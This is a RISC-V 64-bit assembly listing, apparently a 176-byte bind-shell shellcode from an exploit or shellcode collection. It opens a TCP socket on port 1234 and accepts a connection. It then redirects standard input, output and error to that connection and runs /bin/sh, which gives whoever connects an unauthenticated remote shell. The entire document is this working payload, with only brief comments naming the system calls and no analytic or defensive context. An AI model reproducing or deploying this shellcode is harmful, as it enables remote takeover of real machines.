1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
|
# 176 bytes
.include "include.inc"
.equ PORT, 1234
.global _start
.text
_start:
addi sp, sp, -16
# s = socket(AF_INET, SOCK_STREAM, IPPROTO_IP);
li a7, SYS_socket
li a2, IPPROTO_IP
li a1, SOCK_STREAM
li a0, AF_INET
ecall
mv a3, a0
# bind(s, &sa, sizeof(sa));
li a7, SYS_bind
li a2, 16
li a1, (((((PORT & 0xFF) << 8) | (PORT >> 8)) << 16) | AF_INET)
sd a1, (sp)
sd x0, 8(sp)
mv a1, sp
ecall
# listen(s, 1);
li a7, SYS_listen
li a1, 1
mv a0, a3
ecall
# r = accept(s, 0, 0);
li a7, SYS_accept
mv a2, x0
mv a1, x0
mv a0, a3
ecall
mv a4, a0
# in this order
#
# dup3(s, STDERR_FILENO, 0);
# dup3(s, STDOUT_FILENO, 0);
# dup3(s, STDIN_FILENO, 0);
li a7, SYS_dup3
li a1, STDERR_FILENO + 1
c_dup:
mv a0, a4
addi a1, a1, -1
ecall
bne a1, zero, c_dup
# execve("/bin/sh", NULL, NULL);
li a7, SYS_execve
mv a2, x0
mv a1, x0
li a0, BINSH
sd a0, (sp)
mv a0, sp
ecall
|